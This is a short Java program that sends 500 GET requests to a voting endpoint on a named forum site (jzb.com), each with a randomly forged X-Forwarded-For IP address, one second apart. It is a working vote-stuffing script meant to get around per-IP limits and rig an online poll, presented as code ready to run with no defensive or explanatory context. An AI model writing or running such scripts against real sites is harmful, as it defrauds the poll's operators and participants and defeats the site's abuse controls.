import java.io.IOException;
import java.net.UnknownHostException;
import java.util.Random;

import org.apache.http.HttpResponse;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.DefaultHttpClient;

public class Test1 {
	public static void main(String[] args) throws UnknownHostException, IOException, InterruptedException {
		for (int z = 0; z < 500; z++) {
			HttpClient http = new DefaultHttpClient();
			HttpGet httpgets = new HttpGet(
				"http://jzb.com/bbs/event/vote/jtds.php?action=vote&id=6&hid=193&did=8&page=5");
			httpgets.setHeader("X-Forwarded-For", new Random().nextInt(255) + "." + new Random().nextInt(255) + "."
				+ new Random().nextInt(255) + "." + new Random().nextInt(255));
			HttpResponse resp = http.execute(httpgets);
			System.out.println(z + " " + resp.getEntity());
			Thread.sleep(1000);
		}
	}
}
